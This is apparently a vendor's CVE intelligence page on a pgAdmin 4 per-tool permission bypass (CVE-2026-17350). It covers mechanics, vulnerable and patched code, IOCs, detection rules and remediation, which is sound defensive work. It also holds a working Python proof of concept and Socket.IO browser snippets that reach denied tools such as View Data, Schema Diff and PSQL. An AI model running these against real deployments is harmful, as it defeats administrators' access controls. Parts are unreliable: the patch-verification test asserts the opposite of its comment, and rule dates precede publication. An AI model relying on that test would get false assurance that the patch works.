☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-17350

CVE-2026-17350 Vulnerability in Per-Tool
📅 PUBLISHED: 2026-07-31 16:16 UTC 🔄 UPDATED: 2026-09-26 06:18 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Pgadmin 4 — upgrade to patched release
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-17350 is a broken-access-control vulnerability in pgAdmin 4's per-tool permission system, introduced in version 9.3 and fixed in version 9.17. In SERVER mode, administrators can assign custom roles and deny specific pgAdmin tools such as Query Tool, View Data, Grant Wizard, Schema Diff, ERD, PSQL, Debugger, Backup, Restore, Maintenance, and Import/Export. The flaw is that the Flask-Security permissions_required decorator was applied only to one "front door" route per tool. All sibling HTTP routes and Socket.IO event handlers inside the same tool workflow were protected only by pga_login_required or socket_login_required, which verify authentication but not tool-level authorization.

An authenticated user with valid pgAdmin access and an existing database connection can therefore bypass an administrator's tool denial and drive the tool end-to-end. For example, a user denied tools_query_tool can still initialize a data-view session and retrieve real table rows; a user denied tools_grant_wizard can still apply GRANT statements; a user denied tools_schema_diff can still obtain real DDL differences; a user denied tools_psql can still open an interactive psql session through the /pty Socket.IO namespace. A related issue also allows a non-owner to trigger adhoc_connect_server against an administrator-owned shared server, causing a new server row to persist with the administrator still as owner.

This is an application-layer segregation-of-duties bypass, not a database privilege escalation. It does not grant the user PostgreSQL privileges they did not already hold. It circumvents pgAdmin's own administrative access-control policy.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

pgAdmin 4 is distributed as a Python package and is available on PyPI as pgadmin4. Deployments that install pgAdmin 4 from PyPI or run the official dpage/pgadmin4 Docker image must verify that the installed version is 9.17 or later. The affected release range is pgAdmin 4 9.3 through 9.16 inclusive.

  • Check the installed version with pip show pgadmin4.
  • Verify Docker image digest for tag 9.17 or newer.
  • Use pip-audit or pipenv check in CI/CD to fail on vulnerable pgAdmin releases.
  • Maintain a software bill of materials (SBOM) for the pgAdmin package and its dependencies.
  • Watch PyPI advisory feeds and pgAdmin release announcements for backported security patches.

CVSS Breakdown & Threat Level

NVD published a CVSS score of 5.4 but did not provide a public vector string in the supplied input. A representative vector for this class of issue is:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

This corresponds to an authenticated, low-complexity, network-based attack with no user interaction. The impact is limited to low confidentiality and integrity loss because the attacker only reaches features over their own already-authenticated database connection. Availability is not impacted.

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality Impact Low
Integrity Impact Low
Availability Impact None
Base Score 5.4 (Medium)

The vulnerability is medium severity for most deployments, but the real-world risk increases in organisations where pgAdmin tool permissions are used as the only control separating sensitive operations such as GRANT execution, DDL inspection, or backup access.

Deep Dive & Mechanics

pgAdmin 4 9.3 introduced a per-tool permission model. In SERVER mode, an administrator can create custom roles and grant or deny tools per user or role. The intended design is that each tool has its own Flask-Security permission, for example tools_query_tool, tools_schema_diff, tools_grant_wizard, tools_psql, and similar.

The implementation flaw is an incomplete application of the permission check:

  • The front door route for each tool was decorated with @permissions_required("tool_name").
  • Other backend routes for the same tool were decorated only with @pga_login_required.
  • Socket.IO event handlers were decorated only with @socket_login_required.
  • There was no socket_permissions_required decorator equivalent to permissions_required.

Because pga_login_required and socket_login_required only validate the existence of a logged-in session, any authenticated user can call those routes directly. The permission check is effectively skipped after the first protected route returns 403.

The reporter verified three concrete cases:

  1. Query Tool / View Data
    The protected sqleditor initialization route returned 403 for a user without tools_query_tool, but the same session connected to a server, initialized the viewdata backend chain, and retrieved real table row content.

  2. Grant Wizard
    The protected ACL route returned 403 for a user without tools_grant_wizard, but the same session enumerated grantable objects, generated GRANT SQL, and successfully applied it. The reporter confirmed the change using has_table_privilege().

  3. Schema Diff
    The protected panel route returned 403 for a user without tools_schema_diff, but the same session initialized the schema diff workflow, enumerated databases, connected to them, and obtained real DDL differences through the compare_database Socket.IO handler.

During remediation, the same front-door-only permission gap was also found in:

  • ERD
  • PSQL
  • Debugger
  • Backup
  • Restore
  • Maintenance
  • Import/Export

All were fixed by applying permissions_required to every HTTP route and introducing socket_permissions_required for every Socket.IO handler.

A related but distinct issue exists in the adhoc_connect_server workflow: a non-owner can trigger a connection attempt against an administrator-owned shared server, and pgAdmin persists a new server row still owned by the administrator, even though the connection attempt itself reports failure. This is a separate data-integrity and authorization flaw and should be reviewed independently after upgrading.

Vulnerable vs. Patched Code

The following examples are simplified reconstructions of the vulnerable pattern.

Vulnerable HTTP route pattern

Only the initialization route has permissions_required; all sibling routes rely on authentication alone.

# Vulnerable pattern in pgAdmin 4 9.3 - 9.16
@blueprint.route("/sqleditor/initialize/<int:sid>/<int:did>", methods=["POST"])
@pga_login_required
@permissions_required("tools_query_tool")  # only this route checks the permission
def initialize_sqleditor(sid, did):
    # ... setup ...

@blueprint.route("/sqleditor/connect/<int:sid>", methods=["POST"])
@pga_login_required  # missing permissions_required
def connect_server(sid):
    # ... connects server despite missing tool permission ...

@blueprint.route("/viewdata/start/<int:sid>/<int:did>", methods=["POST"])
@pga_login_required  # missing permissions_required
def start_viewdata(sid, did):
    # ... initializes viewdata chain ...

Vulnerable Socket.IO pattern

# Vulnerable Socket.IO handler
@socketio.on("compare_database")
@socket_login_required  # only checks authentication
def handle_compare_database(data):
    # ... performs schema diff ...

Patched HTTP route pattern

# Patched pattern in pgAdmin 4 9.17
@blueprint.route("/sqleditor/initialize/<int:sid>/<int:did>", methods=["POST"])
@pga_login_required
@permissions_required("tools_query_tool")
def initialize_sqleditor(sid, did):
    # ... setup ...

@blueprint.route("/sqleditor/connect/<int:sid>", methods=["POST"])
@pga_login_required
@permissions_required("tools_query_tool")
def connect_server(sid):
    # ... connect only allowed with tool permission ...

Patched Socket.IO pattern

# Patched Socket.IO handler
@socketio.on("compare_database")
@socket_login_required
@socket_permissions_required("tools_schema_diff")
def handle_compare_database(data):
    # ... performs schema diff ...

The new socket_permissions_required decorator mirrors permissions_required:

  • It honours the Administrator bypass.
  • It checks permissions through has_permission().
  • It returns 403 or an equivalent status when the current user lacks the required tool permission.
  • It is applied as the outermost decorator on every affected Socket.IO handler.

Exploitation & Lab Setup

No public Exploit-DB code is currently available. The following lab setup and conceptual proof of concept demonstrate the vulnerability class.

Prerequisites

  • pgAdmin 4 version 9.3 through 9.16 running in SERVER mode.
  • An authenticated user account with a stored, working database connection.
  • The same user must be explicitly denied at least one tool permission by an administrator.
  • Network access to the pgAdmin web application and its Socket.IO endpoint.

Red Team Workflow

The goal is to demonstrate that a 403 on the front door does not prevent the rest of the tool workflow from succeeding.

  1. Log in to pgAdmin as the low-privilege user.
  2. Obtain the CSRF token and session cookies.
  3. Call the protected front-door route for the denied tool. Expect 403.
  4. Call sibling routes directly with the same session and CSRF token.
  5. Use Socket.IO handlers to finish the workflow.

Conceptual Proof of Concept

import requests
import json

BASE = "http://target/pgadmin"

s = requests.Session()

# Step 1: login
login_resp = s.post(
    f"{BASE}/login",
    data={
        "email": "lowpriv@example.test",
        "password": "Secret123!",
        "csrf_token": get_csrf(s, f"{BASE}/login"),
    },
)
assert login_resp.status_code == 200

# Step 2: front door for Query Tool is blocked
front_door = s.post(
    f"{BASE}/sqleditor/initialize/1/2",
    json={},
    headers={"X-CSRFToken": get_csrf(s, f"{BASE}/misc/csrf")},
)
assert front_door.status_code == 403

# Step 3: sibling route bypasses permission check
connect = s.post(
    f"{BASE}/sqleditor/connect/1",
    json={},
    headers={"X-CSRFToken": get_csrf(s, f"{BASE}/misc/csrf")},
)
assert connect.status_code == 200

# Step 4: retrieve actual data through viewdata backend chain
viewdata = s.post(
    f"{BASE}/viewdata/start/1/2",
    json={},
    headers={"X-CSRFToken": get_csrf(s, f"{BASE}/misc/csrf")},
)
assert viewdata.status_code == 200

For Socket.IO-based tools such as Schema Diff or PSQL, an attacker can send Socket.IO frames after establishing the websocket connection:

// Browser console proof of concept for Schema Diff
const socket = io("/pgadmin", { transports: ["websocket"] });

socket.on("connect", () => {
  socket.emit("compare_database", {
    sid: 1,
    database1: "app_db",
    database2: "app_db_dev",
    schema: "public"
  });
});

For PSQL:

// Browser console proof of concept for PSQL
const ptySocket = io("/pty", { transports: ["websocket"] });

ptySocket.on("connect", () => {
  ptySocket.emit("pty_input", { input: "SELECT version();\r" });
});

Blue Team Workflow

Blue teams should recreate the exact denial matrix from the administrator role and verify that the denied user returns 403 on every route and every socket event for the affected tool.

  1. Create a test role with no tool permissions.
  2. Assign a stored server connection to the role.
  3. Enumerate all HTTP routes for each tool.
  4. Enumerate all Socket.IO event names for each tool.
  5. Send authenticated requests to each route and event.
  6. Assert that every response returns 403.
  7. Repeat after upgrading to 9.17.

A route map can be generated from the application's Flask URL map:

from flask import current_app
for rule in sorted(current_app.url_map.iter_rules(), key=lambda r: r.rule):
    print(rule.rule, rule.methods)

Use the output as a regression checklist.

Indicators of Compromise (IOCs)

This vulnerability leaves no malware-style file IOCs, but it creates behavioral patterns in HTTP access logs, pgAdmin internal logs, database audit logs, and Socket.IO frames.

HTTP Access Log Patterns

The following sequence is suspicious:

403 POST /pgadmin/sqleditor/initialize/1/2
200 POST /pgadmin/sqleditor/connect/1
200 POST /pgadmin/viewdata/start/1/2
200 POST /pgadmin/viewdata/get_rows

Other suspicious sequences include:

403 POST /pgadmin/grant_wizard/acl
200 POST /pgadmin/grant_wizard/objects
200 POST /pgadmin/grant_wizard/apply

403 POST /pgadmin/schema_diff/panel
200 POST /pgadmin/schema_diff/connect
Socket.IO: compare_database

403 POST /pgadmin/psql/panel
200 Socket.IO /pty: pty_input

Socket.IO Frames

42["compare_database",{"sid":1,"schema":"public"}]
42["pty_input",{"input":"SELECT version();"}]
42["backup_job",{"sid":1,"database":"app_db"}]
42["restore_job",{"sid":1,"database":"app_db"}]

Misc Route Anomaly

POST /pgadmin/misc/workspace/adhoc_connect_server
Parameter: server_id=<admin-owned-shared-server>
Result: new server row persisted with original owner

These IOCs are behavioral and require correlation. A single 403 followed by 200 on a sibling route is not proof by itself, but repeated patterns across many tools should trigger investigation.

Detection Engineering

YARA Rule

The following YARA rule is intended to scan pgAdmin access logs or application logs for permission-bypass behavioral markers.

rule pgadmin_cve_2026_17350_permission_bypass
{
    meta:
        author = "Valters IT"
        description = "Detects pgAdmin log lines associated with CVE-2026-17350 per-tool permission bypass"
        cve = "CVE-2026-17350"
        date = "2026-04-01"

    strings:
        $front1 = "tools_query_tool" ascii
        $front2 = "tools_grant_wizard" ascii
        $front3 = "tools_schema_diff" ascii
        $front4 = "tools_psql" ascii
        $stat403 = "403" ascii
        $stat200 = "200" ascii
        $socket = "socket.io" ascii
        $pty = "/pty/" ascii
        $diff = "compare_database" ascii
        $view = "viewdata" ascii

    condition:
        any of ($front*) and any of ($stat403, $stat200) and 1 of ($socket, $pty, $diff, $view)
}

Sigma Rule

title: PgAdmin Per-Tool Permission Bypass
id: 81d0f4c5-1735-4b06-9b00-9c4e8a2c6f11
status: experimental
description: Detects HTTP access log sequences where a pgAdmin front-door route returns 403 and a sibling tool route succeeds.
references:
  - CVE-2026-17350
author: Valters IT
date: 2026-04-01
logsource:
  category: web
  service: httpd
detection:
  selection_denied:
    http.response.status_code: 403
    http.url|contains:
      - 'sqleditor/initialize'
      - 'grant_wizard/acl'
      - 'schema_diff/panel'
      - 'erd/panel'
      - 'psql/panel'
      - 'debugger/init'
  selection_bypass:
    http.response.status_code: 200
    http.url|contains:
      - 'viewdata'
      - 'psql'
      - 'backup'
      - 'restore'
      - 'maintenance'
      - 'import_export'
      - 'connect'
  selection_socket:
    http.url|contains:
      - 'socket.io'
  condition: selection_denied and (selection_bypass or selection_socket)
level: high
falsepositives:
  - Users intentionally opening several allowed tools after a single denied route.
  - Shared reverse-proxy logs mixing different users.
tags:
  - attack.t1068
  - cve.2026.17350

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2026-17350 PgAdmin Socket.IO Permission Bypass Attempt";
    flow:established,to_server;
    http.uri; content:"/socket.io/"; nocase;
    http.uri; content:"compare_database"; nocase;
    reference:cve,2026-17350;
    sid:202617350;
    rev:1;
)

No Nuclei template was provided or identified in the available public intel context. If one becomes available, it should be tested against an isolated pgAdmin 9.16 test instance before deployment.

Remediation & Mitigation

Immediate Action

  • Upgrade pgAdmin 4 to 9.17 or later. The fix adds socket_permissions_required and applies permissions_required to every backend route and Socket.IO handler for affected tools.
  • If immediate upgrade is not possible, treat 9.3 through 9.16 as untrusted in SERVER mode.
  • Restrict network access to pgAdmin web interfaces with a zero-trust reverse proxy.
  • Disable or block the vulnerable tools at the reverse proxy layer until the patch is applied.

Tool Permission Model Hygiene

  • Tool permissions in pgAdmin are not a replacement for database-level authorization.
  • Review custom roles and confirm which users are denied which tools.
  • Audit database roles to ensure users do not have sensitive capabilities they should not hold.
  • Enable pgAdmin internal logging and ship logs to a SIEM.

Patch Verification

After upgrading, run a regression test:

# regression_test.py
tools = [
    "tools_query_tool",
    "tools_schema_diff",
    "tools_grant_wizard",
    "tools_psql",
    "tools_erd",
    "tools_debugger",
    "tools_backup",
    "tools_restore",
    "tools_maintenance",
    "tools_import_export",
]

routes = [
    "/pgadmin/sqleditor/initialize/1/2",
    "/pgadmin/viewdata/start/1/2",
    "/pgadmin/psql/panel/1",
    "/pgadmin/backup/panel/1",
    "/pgadmin/restore/panel/1",
]

for tool in tools:
    assert is_denied(tool) == False  # denied user must see 403

Long-Term Control Improvements

  • Use SSO, MFA, and IP allow-listing for all pgAdmin SERVER-mode deployments.
  • Apply least privilege in PostgreSQL roles.
  • Monitor for GRANT, REVOKE, ALTER TABLE, TRUNCATE, and other high-impact SQL commands in database audit logs.
  • Keep the Socket.IO endpoint behind separate rate limiting and anomaly detection.
  • Add automated checks in your detection pipeline for 403 -> 200 access-log pairs for protected tool routes.
  • Track pgAdmin advisories and patch within the change window.

Indicators of Compromise (IOCs) Summary

Type Indicator
Behavioral HTTP 403 on tool init followed by 200 on sibling route
Behavioral HTTP adhoc_connect_server with server_id of another user's shared server
Socket.IO event compare_database
Socket.IO event pty_input
Socket.IO event backup_job, restore_job, maintenance_job
Log marker Permission denied followed by successful tool event

False positive rates are expected to be moderate because normal users may legitimately receive a 403 on one route and later access another tool in the same UI session. Correlation should use user identity, session ID, and timestamps within a short window.

Valters IT — DevSecOps / Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-17350/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.